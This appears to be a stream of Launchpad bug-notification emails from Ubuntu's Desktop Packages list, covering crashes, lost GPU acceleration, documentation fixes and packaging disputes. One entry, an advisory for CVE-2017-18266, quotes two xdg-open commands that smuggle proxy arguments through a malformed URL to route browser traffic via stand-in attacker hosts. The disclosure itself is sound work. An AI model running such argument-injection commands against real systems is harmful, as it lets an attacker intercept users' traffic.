SIGSEGV in meta_gpu_kms_apply_crtc_mode() UpgradeStatus: Upgraded to bionic on 2018-03-05 (5 days ago) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1754949/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772330] Re: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode()
*** This bug is a duplicate of bug 1754949 *** https://bugs.launchpad.net/bugs/1754949 Thank you for taking the time to report this crash and helping to make this software better. This particular crash has already been reported and is a duplicate of bug #1754949, so is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Please continue to report any other bugs you may find. ** Attachment removed: "CoreDump.gz" https://bugs.launchpad.net/bugs/1772330/+attachment/5142079/+files/CoreDump.gz ** Attachment removed: "Disassembly.txt" https://bugs.launchpad.net/bugs/1772330/+attachment/5142081/+files/Disassembly.txt ** Attachment removed: "ProcMaps.txt" https://bugs.launchpad.net/bugs/1772330/+attachment/5142084/+files/ProcMaps.txt ** Attachment removed: "ProcStatus.txt" https://bugs.launchpad.net/bugs/1772330/+attachment/5142085/+files/ProcStatus.txt ** Attachment removed: "Registers.txt" https://bugs.launchpad.net/bugs/1772330/+attachment/5142086/+files/Registers.txt ** Attachment removed: "Stacktrace.txt" https://bugs.launchpad.net/bugs/1772330/+attachment/5142087/+files/Stacktrace.txt ** Attachment removed: "ThreadStacktrace.txt" https://bugs.launchpad.net/bugs/1772330/+attachment/5142088/+files/ThreadStacktrace.txt ** This bug has been marked a duplicate of bug 1754949 gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() from meta_renderer_native_finish_frame() ** Information type changed from Private to Public ** Tags removed: need-amd64-retrace -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1772330 Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() Status in gnome-shell package in Ubuntu: New Bug description: Hello, I do not know why this happened. Regards, -- Cristian Aravena Romero (caravena) ProblemType: Crash DistroRelease: Ubuntu 18.10 Package: gnome-shell 3.28.1-0ubuntu2 Uname: Linux 4.16.9-041609-generic x86_64 ApportVersion: 2.20.10-0ubuntu2 Architecture: amd64 CurrentDesktop: GNOME-Greeter:GNOME Date: Sun May 20 15:49:25 2018 DisplayManager: gdm3 ExecutablePath: /usr/bin/gnome-shell GsettingsChanges: InstallationDate: Installed on 2017-10-13 (219 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170926) ProcCmdline: /usr/bin/gnome-shell ProcEnviron: LANGUAGE=es_CL:es PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=es_CL.UTF-8 SHELL=/bin/false SegvAnalysis: Segfault happened at: 0x7f22b10e21b7 : mov0x20(%rax),%rcx PC (0x7f22b10e21b7) ok source "0x20(%rax)" (0x0020) not located in a known VMA region (needed readable region)! destination "%rcx" ok SegvReason: reading NULL VMA Signal: 11 SourcePackage: gnome-shell StacktraceTop: meta_gpu_kms_apply_crtc_mode () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 meta_renderer_native_finish_frame () at /usr/lib/x86_64-linux-gnu/libmutter-2.so.0 () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so () at /usr/lib/x86_64-linux-gnu/mutter/libmutter-clutter-2.so Title: gnome-shell crashed with SIGSEGV in meta_gpu_kms_apply_crtc_mode() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1772330/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1768610] Re: No acceleration after upgrading to 18.04: gnome-session-check-accelerated incorrectly picks llvmpipe
I've purged nux-tools but the problem is still there for me. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-session in Ubuntu. https://bugs.launchpad.net/bugs/1768610 Title: No acceleration after upgrading to 18.04: gnome-session-check- accelerated incorrectly picks llvmpipe Status in gnome-session package in Ubuntu: Confirmed Bug description: After an upgrade from 17.10 to 18.04, I noticed that all gnome windows animations were gone. After some digging, it seems that gnome-session incorrectly assumes that my graphics has no acceleration, when in fact it does: it's a i5-2520M CPU @ 2.50GHz with Intel integrated graphics (i915 driver). I've tried this with and without the xserver-xorg-video-intel package (a.k.a. Intel driver) with the same behavior. The output of gnome-session-check-accelerated is: llvmpipe (LLVM 6.0, 256 bits) however the system should have DRM 2.0 capability. GL checks (e.g. glxinfo, glxgears produce the expected output from a working DRM system). mesa-utils and mesa-utils-extra are both installed. I can't find a work around. Perhaps there is something wrong with my install/upgrade? Everything else works fine, although the graphical transitions are no longer smooth. But it would be nice to restore the expected behavior. I have attached the log of 'journalctl -b0' ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gnome-session 3.28.1-0ubuntu2 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed May 2 13:06:00 2018 EcryptfsInUse: Yes InstallationDate: Installed on 2016-04-22 (739 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-session UpgradeStatus: Upgraded to bionic on 2018-04-27 (5 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/1768610/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1768610] Re: No acceleration after upgrading to 18.04: gnome-session-check-accelerated incorrectly picks llvmpipe
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: gnome-session (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-session in Ubuntu. https://bugs.launchpad.net/bugs/1768610 Title: No acceleration after upgrading to 18.04: gnome-session-check- accelerated incorrectly picks llvmpipe Status in gnome-session package in Ubuntu: Confirmed Bug description: After an upgrade from 17.10 to 18.04, I noticed that all gnome windows animations were gone. After some digging, it seems that gnome-session incorrectly assumes that my graphics has no acceleration, when in fact it does: it's a i5-2520M CPU @ 2.50GHz with Intel integrated graphics (i915 driver). I've tried this with and without the xserver-xorg-video-intel package (a.k.a. Intel driver) with the same behavior. The output of gnome-session-check-accelerated is: llvmpipe (LLVM 6.0, 256 bits) however the system should have DRM 2.0 capability. GL checks (e.g. glxinfo, glxgears produce the expected output from a working DRM system). mesa-utils and mesa-utils-extra are both installed. I can't find a work around. Perhaps there is something wrong with my install/upgrade? Everything else works fine, although the graphical transitions are no longer smooth. But it would be nice to restore the expected behavior. I have attached the log of 'journalctl -b0' ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gnome-session 3.28.1-0ubuntu2 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed May 2 13:06:00 2018 EcryptfsInUse: Yes InstallationDate: Installed on 2016-04-22 (739 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gnome-session UpgradeStatus: Upgraded to bionic on 2018-04-27 (5 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-session/+bug/1768610/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1752938] Re: Upgrading Ubuntu 18.04 disables GPU hardware acceleration
Fix from #1767468 also doers not work for me. Intel HD 520 -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1752938 Title: Upgrading Ubuntu 18.04 disables GPU hardware acceleration Status in xorg package in Ubuntu: Confirmed Bug description: I don't know which package causes this problem. The thing is ugrading Ubuntu 18.04 disables my GPU hardware acceleration. glxinfo_before_upgrade OpenGL vendor string: X.Org OpenGL renderer string: Radeon RX 560 Series (POLARIS11 / DRM 3.23.0 / 4.15.0-10-generic, LLVM 5.0.1) OpenGL core profile version string: 4.5 (Core Profile) Mesa 17.3.3 glxinfo_after_upgrade OpenGL vendor string: VMware, Inc. OpenGL renderer string: llvmpipe (LLVM 5.0, 256 bits) OpenGL core profile version string: 3.3 (Core Profile) Mesa 17.3.3 This problem is reproducible. Steps to reproduce: 1. Install Ubuntu 18.04 daily live. I've tried Kubuntu 18.04 Feb 26's daily live(the installer in Mar 1 crashes which prevents me from installing it) and Xubuntu 18.04 Mar 2's daily live. Ubuntu is utilizing my GPU in live cd session and after the fresh install Ubuntu is also utilizing my GPU. 2. Reboot into the newly installed system, do a dist-upgrade and reboot again. Opengl renderer falls back to llvmpipe. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: XFCE Date: Sat Mar 3 00:58:35 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Baffin [Polaris11] [1002:67ff] (rev cf) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Baffin [Radeon RX 560] [1043:04be] InstallationDate: Installed on 2018-03-02 (0 days ago) InstallationMedia: Xubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180302) MachineType: Gigabyte Technology Co., Ltd. B85M-D3V-A ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-10-generic.efi.signed root=UUID=d2dcc7eb-84ca-4102-9ae1-239de26d113c ro quiet splash vt.handoff=1 Renderer: Software SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 02/12/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F2 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: B85M-D3V-A dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Gigabyte Technology Co., Ltd. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF2:bd02/12/2015:svnGigabyteTechnologyCo.,Ltd.:pnB85M-D3V-A:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnB85M-D3V-A:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: To be filled by O.E.M. dmi.product.name: B85M-D3V-A dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Gigabyte Technology Co., Ltd. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.90-1 version.libgl1-mesa-dri: libgl1-mesa-dri 17.3.3-0ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx 17.3.3-0ubuntu1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1752938/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1753663] Re: [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe
I have the same as @shankao. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to mesa in Ubuntu. https://bugs.launchpad.net/bugs/1753663 Title: [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe Status in libglvnd package in Ubuntu: Fix Released Status in mesa package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-390 package in Ubuntu: Invalid Bug description: As requested in https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I fill a new bug. Even after getting the fixed packages in https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I get no 3D acceleration. Seems to be some mixup with nvidia drivers. $glxinfo ... Extended renderer info (GLX_MESA_query_renderer): Vendor: VMware, Inc. (0x) Device: llvmpipe (LLVM 5.0, 256 bits) (0x) Version: 18.0.0 Accelerated: no Video memory: 15963MB Unified memory: no Preferred profile: core (0x1) Max core profile version: 3.3 Max compat profile version: 3.0 Max GLES1 profile version: 1.1 Max GLES[23] profile version: 3.0 ... $ vdpauinfo display: :1 screen: 0 Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object file: No such file or directory ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 .tmp.unity_support_test.1: ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CompizPlugins: [core,composite,opengl,compiztoolbox,decor,imgpng,snap,mousepoll,commands,imgjpeg,workarounds,wall,imgsvg,resize,place,neg,grid,scale,regex,text,shelf,expo,move,gnomecompat,annotate,session,notification,resizeinfo,ezoom,staticswitcher,bench] CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: MATE Date: Tue Mar 6 08:00:28 2018 DistUpgraded: 2018-03-03 08:30:16,182 DEBUG /openCache(), new cache size 86475 DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: fwts-efi-runtime-dkms, 18.02.00, 4.15.0-10-generic, x86_64: installed ndiswrapper, 1.60, 4.15.0-10-generic, x86_64: installed r8168, 8.045.08, 4.15.0-10-generic, x86_64: installed tp_smapi, 0.42, 4.15.0-10-generic, x86_64: installed virtualbox, 5.2.8, 4.15.0-10-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: Intel Corporation HD Graphics 5500 [8086:1616] (rev 08) (prog-if 00 [VGA controller]) Subsystem: Intel Corporation HD Graphics 5500 [8086:1616] MachineType: www.51nb.com X62 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-10-generic root=UUID=df422beb-6d13-4575-9b30-ad00e25a7d35 ro noquiet nosplash SourcePackage: xorg Symptom: display UpgradeStatus: Upgraded to bionic on 2018-03-03 (2 days ago) dmi.bios.date: 12/10/2016 dmi.bios.vendor: 51NB dmi.bios.version: 5.011 dmi.board.asset.tag: X62 dmi.board.name: CRESCENTBAY dmi.board.vendor: INTEL Corporation dmi.board.version: X62. dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 10 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvn51NB:bvr5.011:bd12/10/2016:svnwww.51nb.com:pnX62:pvrV10:rvnINTELCorporation:rnCRESCENTBAY:rvrX62.:cvnToBeFilledByO.E.M.:ct10:cvrToBeFilledByO.E.M.: dmi.product.family: X62 dmi.product.name: X62 dmi.product.version: V10 dmi.sys.vendor: www.51nb.com version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.90-1 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc4-1ubuntu3 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc4-1ubuntu3 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1753663/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1769954] Re: package desktop-file-utils 0.23-1ubuntu3 failed to install/upgrade: dependency problems - leaving triggers unprocessed
Just ran into this upgrading from 17.10 to 18.04. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to desktop-file-utils in Ubuntu. https://bugs.launchpad.net/bugs/1769954 Title: package desktop-file-utils 0.23-1ubuntu3 failed to install/upgrade: dependency problems - leaving triggers unprocessed Status in desktop-file-utils package in Ubuntu: Confirmed Bug description: run `sudo do-release-upgrade` on a relativity new 16.04 EC2 instance. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: desktop-file-utils 0.23-1ubuntu3 ProcVersionSignature: Ubuntu 4.13.0-36.40-generic 4.13.13 Uname: Linux 4.13.0-36-generic x86_64 NonfreeKernelModules: zfs zunicode zavl zcommon znvpair ApportVersion: 2.20.7-0ubuntu3.8 Architecture: amd64 Date: Tue May 8 16:59:12 2018 Ec2AMI: ami-70873908 Ec2AMIManifest: (unknown) Ec2AvailabilityZone: us-west-2a Ec2InstanceType: t2.large Ec2Kernel: unavailable Ec2Ramdisk: unavailable ErrorMessage: dependency problems - leaving triggers unprocessed Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: desktop-file-utils Title: package desktop-file-utils 0.23-1ubuntu3 failed to install/upgrade: dependency problems - leaving triggers unprocessed UpgradeStatus: Upgraded to bionic on 2018-05-08 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/desktop-file-utils/+bug/1769954/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772104] Re: clock-timezone help should note that Automatic Time Zone requires Location Services
Committed upstream: https://gitlab.gnome.org/GNOME/gnome-user-docs/commit/fb9801eb ** Changed in: gnome-user-docs (Ubuntu) Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-user-docs in Ubuntu. https://bugs.launchpad.net/bugs/1772104 Title: clock-timezone help should note that Automatic Time Zone requires Location Services Status in gnome-user-docs package in Ubuntu: Fix Committed Bug description: The Automatic time zone feature doesn't work when Location Services is disabled in the Privacy settings of Gnome. See bug reports at https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1741928 and https://bugzilla.gnome.org/show_bug.cgi?id=788714 This should be noted in the help documentation at https://help.ubuntu.com/stable/ubuntu-help/clock-timezone.html To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-user-docs/+bug/1772104/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1770748] Re: ilmbase symbols files were dropped by the forced merge
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: ilmbase (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to ilmbase in Ubuntu. https://bugs.launchpad.net/bugs/1770748 Title: ilmbase symbols files were dropped by the forced merge Status in ilmbase package in Ubuntu: Confirmed Status in ilmbase package in Debian: Confirmed Bug description: the last ilmbase forced sync dropped the ilmbase symbols files "just for convenience", because maintenance apparently costs too much effort. So we are dropping the patches which we required for the package to be in main. I don't think this is a sensible move, and the symbol files should be re-added before the package migrates to the release pocket. I also think that the behavior of "delegating" these changes to another maintenance team is inappropriate. Setting the block-proposed flag for now, until the symbol filed are re-added again. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ilmbase/+bug/1770748/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772295] Re: CVE-2017-18266: argument injection in xdg-open
** Changed in: xdg-utils Status: Unknown => Fix Released ** Changed in: xdg-utils Importance: Unknown => High -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to xdg-utils in Ubuntu. https://bugs.launchpad.net/bugs/1772295 Title: CVE-2017-18266: argument injection in xdg-open Status in Xdg-utils: Fix Released Status in xdg-utils package in Ubuntu: New Bug description: An attacker can silently set their proxy in browser settings to capture user's traffic, using a malformed URL in xdg-open. The following command tries to open Yandex main page though third- party proxy server. env -i BROWSER="links %s" xdg-open 'http://www.yandex.com/ -http- proxy evil-site.example.org:8080' Another sample of an exploit with Chromium browser. env -i BROWSER="chromium %s" xdg-open "http://www.example.com/ --proxy-pac-url=http://dangerous.example.net/proxy.pac"; To manage notifications about this bug go to: https://bugs.launchpad.net/xdg-utils/+bug/1772295/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1770748] Re: ilmbase symbols files were dropped by the forced merge
Builds ok in my PPA with no symbols errors. ** Patch added: "restoresymbols.debdiff" https://bugs.launchpad.net/ubuntu/+source/ilmbase/+bug/1770748/+attachment/5142071/+files/restoresymbols.debdiff -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to ilmbase in Ubuntu. https://bugs.launchpad.net/bugs/1770748 Title: ilmbase symbols files were dropped by the forced merge Status in ilmbase package in Ubuntu: New Status in ilmbase package in Debian: Confirmed Bug description: the last ilmbase forced sync dropped the ilmbase symbols files "just for convenience", because maintenance apparently costs too much effort. So we are dropping the patches which we required for the package to be in main. I don't think this is a sensible move, and the symbol files should be re-added before the package migrates to the release pocket. I also think that the behavior of "delegating" these changes to another maintenance team is inappropriate. Setting the block-proposed flag for now, until the symbol filed are re-added again. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ilmbase/+bug/1770748/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1771026] Re: "Tile Windows" says to hold ALT to drag anywhere in a window
On 2018-05-14 01:00, Gunnar Hjalmarsson wrote: > ... it would be great if you could submit an upstream issue too: Never mind; the change has been made upstream. https://gitlab.gnome.org/GNOME/gnome-user-docs/commit/9866fac9 ** Changed in: gnome-user-docs (Ubuntu) Status: Confirmed => Fix Committed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-user-docs in Ubuntu. https://bugs.launchpad.net/bugs/1771026 Title: "Tile Windows" says to hold ALT to drag anywhere in a window Status in gnome-user-docs package in Ubuntu: Fix Committed Bug description: The "Tile Windows" page incorrectly says to hold ALT to drag anywhere in a window. The correct key to hold is SUPER. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: ubuntu-docs 18.04.3 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun May 13 16:16:50 2018 InstallationDate: Installed on 2018-04-28 (14 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all ProcEnviron: PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: ubuntu-docs UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-user-docs/+bug/1771026/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1532508] Re: Screen contents revealed briefly on resume, before even unlocking
for me this bug is only happening in 18.04 when using the X session and does not occur when using wayland -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1532508 Title: Screen contents revealed briefly on resume, before even unlocking Status in GNOME Shell: In Progress Status in Ubuntu GNOME: Confirmed Status in gdm3 package in Ubuntu: Confirmed Status in gnome-shell package in Ubuntu: Confirmed Status in unity package in Ubuntu: Fix Released Status in unity source package in Xenial: Fix Released Status in gnome-shell package in Debian: Confirmed Status in gnome-shell package in Fedora: In Progress Bug description: [Impact] When lock is enabled, the screen doesn't get blank/covered by lockscreen before suspending, thus on early resume the content might be shown. Video showing the bug: https://youtu.be/dDOgtK1MldI Reproduced on Ubuntu 2015.10, Ubuntu 2014.04 [Test case] 1. Work on highly secret files 2. Close the lid of your laptop and go have a break 3. Anyone who opens the lid of the laptop can see the secret files for a half second before the lock screen appears [Possible Regression] Content on screen isn't painted anymore and screen stays black. To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-shell/+bug/1532508/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1772237] Re: Language support quits immediately after starting
This bug was fixed in the package language-selector - 0.189
---
language-selector (0.189) cosmic; urgency=medium
* LanguageSelector/ImConfig.py:
Prevent crash if LC_CTYPE has a value which Python does not
understand (LP: #1772237).
* debian/control:
Drop obsolete X-Python3-Version field.
-- Gunnar Hjalmarsson Sun, 20 May 2018 21:56:00
+0200
** Changed in: language-selector (Ubuntu)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to language-selector in Ubuntu.
https://bugs.launchpad.net/bugs/1772237
Title:
Language support quits immediately after starting
Status in language-selector package in Ubuntu:
Fix Released
Status in language-selector source package in Bionic:
In Progress
Bug description:
[Impact]
When Ubuntu is installed with a locale name which Python does not
understand, e.g. en_IL, Language Support crashes when you try to
launch it. This is really a bug which should be fixed in the installer
(bug #1646260). Awaiting the installer fix, this proposed upload
prevents that Language Support crashes.
[Test Case]
1. Make sure that no ~/.xinputrc file is present.
2. Start Language Support from terminal using this command:
LANG=en_IL gnome-language-selector
-> Find that you have reproduced the crash.
3. Install language-selector-gnome and language-selector-common from
bionic-proposed and repeat step 2.
-> Language Support starts without crashing.
[Regression Potential]
None.
[Original description]
When I click on Language Support from the applications menu, it
starts, shows a progress bar, and then immediately quits.
I do not see the crash report window open (Apport), but something
seems to crash. Here is what is appended to the syslog when the
phenomenon happens:
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: Traceback
(most recent call last):
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/bin/gnome-language-selector", line 22, in on_activate
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
options=options)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 202, in __init__
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
self.check_input_methods()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 57, in wrapper
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: res =
f(*args, **kwargs)
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py",
line 453, in check_input_methods
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
currentIM = self.ImConfig.getCurrentInputMethod()
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3/dist-packages/LanguageSelector/ImConfig.py", line 39, in
getCurrentInputMethod
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: loc =
locale.getlocale(locale.LC_CTYPE)[0]
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: File
"/usr/lib/python3.6/locale.py", line 581, in getlocale
May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:
